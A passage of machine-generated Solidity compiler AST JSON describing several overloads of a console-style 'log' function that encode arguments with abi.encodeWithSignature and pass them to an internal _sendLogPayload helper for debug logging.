se,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"15384:24:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_e8defba9dac8a3ed4ad0f711b733171fd223b5d127b3485540d69bec05995a26","typeString":"literal_string \"log(bool,uint256,bool)\""},"value":"log(bool,uint256,bool)"},{"id":25386,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":25375,"src":"15410:2:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":25387,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":25377,"src":"15414:2:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":25388,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":25379,"src":"15418:2:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_e8defba9dac8a3ed4ad0f711b733171fd223b5d127b3485540d69bec05995a26","typeString":"literal_string \"log(bool,uint256,bool)\""},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_bool","typeString":"bool"}],"expression":{"id":25383,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"15360:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":25384,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"15364:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"15360:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":25389,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"15360:61:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":25382,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"15344:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":25390,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"15344:78:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":25391,"nodeType":"ExpressionStatement","src":"15344:78:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"15286:3:15","parameters":{"id":25380,"nodeType":"ParameterList","parameters":[{"constant":false,"id":25375,"mutability":"mutable","name":"p0","nameLocation":"15295:2:15","nodeType":"VariableDeclaration","scope":25393,"src":"15290:7:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":25374,"name":"bool","nodeType":"ElementaryTypeName","src":"15290:4:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":25377,"mutability":"mutable","name":"p1","nameLocation":"15307:2:15","nodeType":"VariableDeclaration","scope":25393,"src":"15299:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":25376,"name":"uint256","nodeType":"ElementaryTypeName","src":"15299:7:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":25379,"mutability":"mutable","name":"p2","nameLocation":"15316:2:15","nodeType":"VariableDeclaration","scope":25393,"src":"15311:7:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":25378,"name":"bool","nodeType":"ElementaryTypeName","src":"15311:4:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"15289:30:15"},"returnParameters":{"id":25381,"nodeType":"ParameterList","parameters":[],"src":"15334:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":25413,"nodeType":"FunctionDefinition","src":"15435:158:15","nodes":[],"body":{"id":25412,"nodeType":"Block","src":"15495:98:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728626f6f6c2c75696e743235362c6164647265737329","id":25405,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"15545:27:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_088ef9d2f4d01d13401423c19b7f189200a7ad3f567d9e20f37299f94f92f574","typeString":"literal_string \"log(bool,uint256,address)\""},"value":"log(bool,uint256,address)"},{"id":25406,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":25395,"src":"15574:2:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":25407,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":25397,"src":"15578:2:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":25408,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":25399,"src":"15582:2:15","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_088ef9d2f4d01d13401423c19b7f189200a7ad3f567d9e20f37299f94f92f574","typeString":"literal_string \"log(bool,uint256,address)\""},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":25403,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"15521:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":25404,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"15525:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"15521:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":25409,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"15521:64:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":25402,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"15505:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":25410,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"15505:81:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":25411,"nodeType":"ExpressionStatement","src":"15505:81:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"15444:3:15","parameters":{"id":25400,"nodeType":"ParameterList","parameters":[{"constant":false,"id":25395,"mutability":"mutable","name":"p0","nameLocation":"15453:2:15","nodeType":"VariableDeclaration","scope":25413,"src":"15448:7:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":25394,"name":"bool","nodeType":"ElementaryTypeName","src":"15448:4:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":25397,"mutability":"mutable","name":"p1","nameLocation":"15465:2:15","nodeType":"VariableDeclaration","scope":25413,"src":"15457:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":25396,"name":"uint256","nodeType":"ElementaryTypeName","src":"15457:7:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":25399,"mutability":"mutable","name":"p2","nameLocation":"15477:2:15","nodeType":"VariableDeclaration","scope":25413,"src":"15469:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":25398,"name":"address","nodeType":"ElementaryTypeName","src":"15469:7:15","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"15447:33:15"},"returnParameters":{"id":25401,"nodeType":"ParameterList","parameters":[],"src":"15495:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":25433,"nodeType":"FunctionDefinition","src":"15599:163:15","nodes":[],"body":{"id":25432,"nodeType":"Block","src":"15665:97:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728626f6f6c2c737472696e672c75696e7432353629","id":25425,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"15715:26:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_1093ee11e671928331708700100b356c86a8494f33b170ddcffd95462a0adf64","typeString":"literal_string \"log(bool,string,uint256)\""},"value":"log(bool,string,uint256)"},{"id":25426,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":25415,"src":"15743:2:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":25427,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":25417,"src":"15747:2:15","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":25428,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":25419,"src":"15751:2:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_1093ee11e671928331708700100b356c86a8494f33b170ddcffd95462a0adf64","typeString":"literal_string \"log(bool,string,uint256)\""},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"id":25423,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"15691:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":25424,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"15695:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"15691:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":25429,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"15691:63:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":25422,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"15675:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":25430,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"15675:80:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":25431,"nodeType":"ExpressionStatement","src":"15675:80:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"15608:3:15","parameters":{"id":25420,"nodeType":"ParameterList","parameters":[{"constant":false,"id":25415,"mutability":"mutable","name":"p0","nameLocation":"15617:2:15","nodeType":"VariableDeclaration","scope":25433,"src":"15612:7:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":25414,"name":"bool","nodeType":"ElementaryTypeName","src":"15612:4:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":25417,"mutability":"mutable","name":"p1","nameLocation":"15635:2:15","nodeType":"VariableDeclaration","scope":25433,"src":"15621:16:15","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":25416,"name":"string","nodeType":"ElementaryTypeName","src":"15621:6:15","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":25419,"mutability":"mutable","name":"p2","nameLocation":"15647:2:15","nodeType":"VariableDeclaration","scope":25433,"src":"15639:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":25418,"name":"uint256","nodeType":"ElementaryTypeName","src":"15639:7:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"15611:39:15"},"returnParameters":{"id":25421,"nodeType":"ParameterList","parameters":[],"src":"15665:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":25453,"nodeType":"FunctionDefinition","src":"15768:168:15","nodes":[],"body":{"id":25452,"nodeType":"Block","src":"15840:96:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728626f6f6c2c737472696e672c737472696e6729","id":25445,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"15890:25:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_b076847f8b4aee0cfbf46ec501532f9f3c85a581aff135287ff8e917c0a39102","typeString":"literal_string \"log(bool,string,string)\""},"value":"log(bool,string,string)"},{"id":25446,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":25435,"src":"15917:2:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":25447,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":25437,"src":"15921:2:15","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":25448,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":25439,"src":"15925:2:15","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_b076847f8b4aee0cfbf46ec501532f9f3c85a581aff135287ff8e917c0a39102","typeString":"literal_string \"log(bool,string,string)\""},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"expression":{"id":25443,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"15866:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":25444,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"15870:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"15866:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":25449,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"15866:62:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":25442,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"15850:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":25450,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"15850:79:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":25451,"nodeType":"ExpressionStatement","src":"15850:79:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"15777:3:15","parameters":{"id":25440,"nodeType":"ParameterList","parameters":[{"constant":false,"id":25435,"mutability":"mutable","name":"p0","nameLocation":"15786:2:15","nodeType":"VariableDeclaration","scope":25453,"src":"15781:7:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":25434,"name":"bool","nodeType":"ElementaryTypeName","src":"15781:4:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":25437,"mutability":"mutable","name":"p1","nameLocation":"15804:2:15","nodeType":"VariableDeclaration","scope":25453,"src":"15790:16:15","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":25436,"name":"string","nodeType":"ElementaryTypeName","src":"15790:6:15","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":25439,"mutability":"mutable","name":"p2","nameLocation":"15822:2:15","nodeType":"VariableDeclaration","scope":25453,"src":"15808:16:15","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":25438,"name":"string","nodeType":"ElementaryTypeName","src":"15808:6:15","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"15780:45:15"},"returnParameters":{"id":25441,"nodeType":"ParameterList","parameters":[],"src":"15840:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":25473,"nodeType":"FunctionDefinition","src":"15942:157:15","nodes":[],"body":{"id":25472,"nodeType":"Block","src":"16005:94:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728626f6f6c2c737472696e672c626f6f6c29","id":25465,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"16055:23:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_dbb4c2477dacc98e0e5b96fd6ca6bf0ae1f82dd042439d9f53f8d963bef43eaa","typeString":"literal_string \"log(bool,string,bool)\""},"value":"log(bool,string,bool)"},{"id":25466,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":25455,"src":"16080:2:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":25467,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":25457,"src":"16084:2:15","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":25468,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":25459,"src":"16088:2:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_dbb4c2477dacc98e0e5b96fd6ca6bf0ae1f82dd042439d9f53f8d963bef43eaa","typeString":"literal_string \"log(bool,string,bool)\""},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_bool","typeString":"bool"}],"expression":{"id":25463,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"16031:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":25464,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"16035:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"16031:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":25469,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"16031:60:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":25462,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"16015:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":25470,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"16015:77:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":25471,"nodeType":"ExpressionStatement","src":"16015:77:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"15951:3:15","parameters":{"id":25460,"nodeType":"ParameterList","parameters":[{"constant":false,"id":25455,"mutability":"mutable","name":"p0","nameLocation":"15960:2:15","nodeType":"VariableDeclaration","scope":25473,"src":"15955:7:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":25454,"name":"bool","nodeType":"ElementaryTypeName","src":"15955:4:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":25457,"mutability":"mutable","name":"p1","nameLocation":"15978:2:15","nodeType":"VariableDeclaration","scope":25473,"src":"15964:16:15","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":25456,"name":"string","nodeType":"ElementaryTypeName","src":"15964:6:15","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":25459,"mutability":"mutable","name":"p2","nameLocation":"15987:2:15","nodeType":"VariableDeclaration","scope":25473,"src":"15982:7:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":25458,"name":"bool","nodeType":"ElementaryTypeName","src":"15982:4:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"15954:36:15"},"returnParameters":{"id":25461,"nodeType":"ParameterList","parameters":[],"src":"16005:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":25493,"nodeType":"FunctionDefinition","src":"16105:163:15","nodes":[],"body":{"id":25492,"nodeType":"Block","src":"16171:97:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728626f6f6c2c737472696e672c6164647265737329","id":25485,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"16221:26:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_9591b953c9b1d0af9d1e3bc0f6ea9aa5b0e1af8c702f85b36e21b9b2d7e4da79","typeString":"literal_string \"log(bool,string,address)\""},"value":"log(bool,string,address)"},{"id":25486,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":25475,"src":"16249:2:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":25487,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":25477,"src":"16253:2:15","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":25488,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":25479,"src":"16257:2:15","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_9591b953c9b1d0af9d1e3bc0f6ea9aa5b0e1af8c702f85b36e21b9b2d7e4da79","typeString":"literal_string \"log(bool,string,address)\""},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":25483,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"16197:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":25484,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"16201:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"16197:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":25489,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"16197:63:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":25482,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"16181:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":25490,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"16181:80:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":25491,"nodeType":"ExpressionStatement","src":"16181:80:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"16114:3:15","parameters":{"id":25480,"nodeType":"ParameterList","parameters":[{"constant":false,"id":25475,"mutability":"mutable","name":"p0","nameLocation":"16123:2:15","nodeType":"VariableDeclaration","scope":25493,"src":"16118:7:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":25474,"name":"bool","nodeType":"ElementaryTypeName","src":"16118:4:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":25477,"mutability":"mutable","name":"p1","nameLocation":"16141:2:15","nodeType":"VariableDeclaration","scope":25493,"src":"16127:16:15","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":25476,"name":"string","nodeType":"ElementaryTypeName","src":"16127:6:15","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":25479,"mutability":"mutable","name":"p2","nameLocation":"16153:2:15","nodeType":"VariableDeclaration","scope":25493,"src":"16145:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":25478,"name":"address","nodeType":"ElementaryTypeName","src":"16145:7:15","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"16117:39:15"},"returnParameters":{"id":25481,"nodeType":"ParameterList","parameters":[],"src":"16171:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":25513,"nodeType":"FunctionDefinition","src":"16274:152:15","nodes":[],"body":{"id":25512,"nodeType":"Block","src":"16331:95:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728626f6f6c2c626f6f6c2c75696e7432353629","id":25505,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"16381:24:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_12f216023a0243e7ece19b75fc4619b59ea663e0aefdf2e4b1faa16a9fa3a211","typeString":"literal_string \"log(bool,bool,uint256)\""},"value":"log(bool,bool,uint256)"},{"id":25506,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":25495,"src":"16407:2:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":25507,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":25497,"src":"16411:2:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":25508,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":25499,"src":"16415:2:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_12f216023a0243e7ece19b75fc4619b59ea663e0aefdf2e4b1faa16a9fa3a211","typeString":"literal_string 